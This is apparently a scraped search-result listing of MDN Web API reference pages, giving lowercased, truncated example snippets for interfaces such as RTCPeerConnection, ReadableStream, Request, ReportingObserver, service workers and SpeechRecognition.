var pc = new rtcpeerconnection(); … var sd = pc.localdescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.localdescription' in that...
RTCPeerConnection.onconnectionstatechange - Web APIs
the event object contains no special information of note; you can look at the value of the peer connection's connectionstate property to determine what the new state is.
RTCPeerConnection.ondatachannel - Web APIs
be sure to wait for the "open" event to be fired on the new rtcdatachannel before using it.
RTCPeerConnection.oniceconnectionstatechange - Web APIs
your code can look at the value of rtcpeerconnection.iceconnectionstate to determine what the new state is.
RTCPeerConnection.onsignalingstatechange - Web APIs
this event object doesn't provide details about what changed, but you can examine the signalingstate property to determine what the new state is.
RTCPeerConnection.pendingLocalDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.pendinglocaldescription; if (sd) { // there's a description change underway!
RTCPeerConnection.pendingRemoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.pendingremotedescription; if (sd) { // there's a description change underway!
RTCPeerConnection.remoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.remotedescription; if (sd) { alert("remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescription' in ...
RTCPeerConnection.removeTrack() - Web APIs
var pc, sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnec...
RTCPeerConnection.restartIce() - Web APIs
restarting ice essentially resets ice so that it creates all new candidates using new credentials.
RTCPeerConnection.sctp - Web APIs
example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment ...
RTCPeerConnection.setIdentityProvider() - Web APIs
example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
RTCPeerConnectionIceErrorEvent - Web APIs
constructor rtcpeerconnectioniceerrorevent() creates and returns a new rtcpeerconnectioniceerrorevent object, with its type and other properties initialized as specified in the parameters.
RTCPeerConnectionIceEvent - Web APIs
constructors rtcpeerconnectioniceevent() returns a new rtcpeerconnectioniceevent.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
it takes as input the rtcpeerconnection being tested, calls getstats() to get a new rtcstatsreport with current statistics, then computes the results it's looking for, outputting those results as appropriate to the user by appending appropriate html to the contents of the <div> element whose class is stats-box.
RTCRtpTransceiver.direction - Web APIs
if the new value of direction is in fact different from the existing value, renegotiation of the connection is required, so a negotiationneeded event is sent to the rtcpeerconnection.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the rtcrtptransceiver method setcodecpreferences() configures the transceiver's codecs given a list of rtcrtpcodeccapability objects specifying the new preferences for each codec.
RTCSessionDescriptionCallback - Web APIs
example var pc = new rtcpeerconnection(); var descriptioncallback = function(offer) { pc.setlocaldescription(offer); } pc.createoffer(descriptioncallback); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescriptioncallback' in that specification.
RTCStatsReport - Web APIs
candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart.
RTCStatsType - Web APIs
candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart.
RTCTrackEvent.streams - Web APIs
syntax var streams = trackevent.streams; value an array of mediastream objects, one for each stream that make up the new track.
RTCTrackEventInit - Web APIs
the webrtc api's rtctrackeventinit dictionary is used to provide information describing an rtctrackevent when instantiating a new track event using new rtctrackevent().
RadioNodeList.value - Web APIs
on setting the value property, the first radio button input element whose value property is equal to the new value will be set to checked.
RadioNodeList - Web APIs
on setting the value property, the first radio button input element whose value property is equal to the new value will be set to checked.
Range - Web APIs
WebAPIRange
range.surroundcontents() moves content of a range into a new node.
ReadableStream.cancel() - Web APIs
var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var url = 'https://html.spec.whatwg.org/'; console.log(`searching '${url}' for '${searchterm}'`); fetch(url).then(response => { console.log('received headers'); var decoder = new textdecoder(); var reader = response.body.getreader(); var tomatch = caseinsensitive ?
ReadableStream.locked - Web APIs
examples const stream = new readablestream({ ...
ReadableStream.pipeTo() - Web APIs
examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification.
ReadableStream.tee() - Web APIs
the tee() method of the readablestream interface tees the current readable stream, returning a two-element array containing the two resulting branches as new readablestream instances.
ReadableStreamBYOBReader.ReadableStreamBYOBReader() - Web APIs
syntax var readablestreambyobreader = new readablestreambyobreader(stream); parameters stream the readablestream to be read.
ReadableStreamBYOBRequest - Web APIs
methods readablestreambyobrequest.respond() xxx readablestreambyobrequest.respondwithnewview() xxx examples tbd.
ReadableStreamDefaultController.close() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() ...
ReadableStreamDefaultController.enqueue() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() ...
ReadableStreamDefaultController - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() ...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
syntax var readablestreamdefaultreader = new readablestreamdefaultreader(stream); parameters stream the readablestream to be read.
Report.body - Web APIs
WebAPIReportbody
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report body, i.e.
Report.type - Web APIs
WebAPIReporttype
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report type, i.e.
Report.url - Web APIs
WebAPIReporturl
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the url of the document that generated the first report // e.g.
ReportingObserver.disconnect() - Web APIs
syntax reportingobserverinstance.disconnect() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() ...
ReportingObserver.observe() - Web APIs
syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification.
ReportingObserver.takeRecords() - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() // ...
ReportingObserverOptions - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserveroptions' in that specification.
Reporting API - Web APIs
examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use th...
Request.context - Web APIs
WebAPIRequestcontext
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request context in a variable: var myrequest = new request('flowers.jpg'); var mycontext = myrequest.context; // returns the empty string by default ...
Request.credentials - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification...
Request.destination - Web APIs
example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification.
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.mode - Web APIs
WebAPIRequestmode
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.referrerPolicy - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specificat...
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
ResizeObserver.observe() - Web APIs
examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max...
ResizeObserver.unobserve() - Web APIs
examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry...
ResizeObserverEntry.target - Web APIs
const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { entry.target.style.borderradius = math.min(100, (entry.contentboxsize.inlinesize/10) + (entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + ...
Using the Resource Timing API - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 = new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors when cors is in effect, many of the timing properties...
Response.error() - Web APIs
WebAPIResponseerror
the error() method of the response interface returns a new response object associated with a network error.
Response.redirect() - Web APIs
WebAPIResponseredirect
syntax var response = response.redirect(url, status); parameters url the url that the new response is to originate from.
SVGAngle - Web APIs
WebAPISVGAngle
methods newvaluespecifiedunits reset the value as a number with an associated unittype, thereby replacing the values for all of the attributes on the object.
SVGCircleElement - Web APIs
10 : -10; // clamp the circle radius to a minimum of 10 and a maximum of 250, // so it won't disappear or get bigger than the viewport var newvalue = math.min(math.max(circle.r.baseval.value + change, 10), 250); circle.setattribute("r", newvalue); } click on the circle.
SVGComponentTransferFunctionElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEBlendElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEColorMatrixElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFECompositeElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEConvolveMatrixElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEDisplacementMapElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEGaussianBlurElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEMorphologyElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGGeometryElement.isPointInFill() - Web APIs
0" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10))); // point in circle console.log('point at 40,30:', circle.ispointinfill(new dompoint(40, 30))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinfill()' in that specification.
SVGGeometryElement.isPointInStroke() - Web APIs
g"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinstroke(new dompoint(10, 10))); // point in circle but not stroke console.log('point at 40,30:', circle.ispointinstroke(new dompoint(40, 30))); // point in circle stroke console.log('point at 83,17:', circle.ispointinstroke(new dompoint(83, 17))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinst...
SVGGradientElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
SVGMatrix - Web APIs
WebAPISVGMatrix
this matrix is post-multiplied by another matrix, returning the resulting new matrix as svgmatrix.
SVGPathSeg - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGRenderingIntent - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGSVGElement - Web APIs
svgsvgelement.setcurrenttime() adjusts the clock for this svg document fragment, establishing a new current time.
SVGUnitTypes - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGZoomAndPan - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
Screen.availHeight - Web APIs
example if your web application needs to open a new window, such as a tool palette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here.
Using the Screen Capture API - Web APIs
there are three new constraints added to mediatrackconstraints (as well as to mediatracksupportedconstraints and mediatracksettings) for configuring a screen capture stream: cursor indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion.
SecurityPolicyViolationEvent - Web APIs
constructor securitypolicyviolationevent() creates a new securitypolicyviolationevent object instance.
Selection.addRange() - Web APIs
example currently only firefox supports multiple selection ranges, other browsers will not add new ranges to the selection if it already contains one.
Selection.extend() - Web APIs
WebAPISelectionextend
the selection will be from the anchor to the new focus, regardless of direction.
Selection - Web APIs
WebAPISelection
a selection api method is called, causing a new selection to be made with the selection range inside the editing host.
SensorErrorEvent - Web APIs
constructor sensorerrorevent.sensorerrorevent() creates a new sensorerrorevent object.
ServiceWorkerContainer.oncontrollerchange - Web APIs
the oncontrollerchange property of the serviceworkercontainer interface is an event handler fired whenever a controllerchange event occurs — when the document's associated serviceworkerregistration acquires a new active worker.
ServiceWorkerGlobalScope: activate event - Web APIs
the activate event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.active worker.
ServiceWorkerGlobalScope: install event - Web APIs
the install event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.installing worker.
ServiceWorkerGlobalScope.onpush - Web APIs
ins a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment ...
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
}) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
when the returned promise is resolved, we receive the new subscription.
ServiceWorkerMessageEvent.data - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.lastEventId - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.lasteventid); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.origin - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.origin); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.ports - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.ports); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.source - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.source); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.onupdatefound - Web APIs
the onupdatefound property of the serviceworkerregistration interface is an eventlistener property called whenever an event of type statechange is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
ServiceWorkerRegistration.update() - Web APIs
it fetches the worker's script url, and if the new worker is not byte-by-byte identical to the current worker, it installs the new worker.
ServiceWorkerState - Web APIs
redundant a new service worker is replacing the current service worker, or the current service worker is being discarded due to an install failure.
ShadowRoot - Web APIs
connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
SharedWorker.port - Web APIs
WebAPISharedWorkerport
multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
SharedWorker - Web APIs
both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property.
SharedWorkerGlobalScope: connect event - Web APIs
the connect event is fired in shared workers at their sharedworkerglobalscope when a new client connects.
SharedWorkerGlobalScope.name - Web APIs
example if a shared worker is created using a constructor with a name option: var myworker = new sharedworker("worker.js", { name : "mysharedworker" }); the sharedworkerglobalscope will now have a name of "mysharedworker", returnable by running self.name from inside the shared worker.
SharedWorkerGlobalScope - Web APIs
connect fired on shared workers when a new client connects.
SourceBuffer.appendWindowEnd - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property.
SourceBuffer.appendWindowStart - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property.
SourceBuffer.changeType() - Web APIs
the changetype() method of the sourcebuffer interface sets the mime type that future calls to appendbuffer() should expect the new media data to conform to.
SourceBuffer.timestampOffset - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property.
SourceBuffer.trackDefaults - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property.
SpeechGrammar.src - Web APIs
WebAPISpeechGrammarsrc
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammar.weight - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammarList.item() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
SpeechGrammarList.length - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
SpeechRecognition.abort() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = f...
SpeechRecognition: audioend event - Web APIs
bubbles no cancelable no interface event event handler onaudioend examples you can use the audioend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
bubbles no cancelable no interface event event handler onaudiostart examples you can use the audiostart event in an onaudiostart method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.continuous - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition: end event - Web APIs
bubbles no cancelable no interface event event handler property onend examples you can use the end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specificat...
SpeechRecognition: error event - Web APIs
bubbles no cancelable no interface speechrecognitionerrorevent event handler property onerror examples you can use the error event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definit...
SpeechRecognition.grammars - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.interimResults - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.lang - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.maxAlternatives - Web APIs
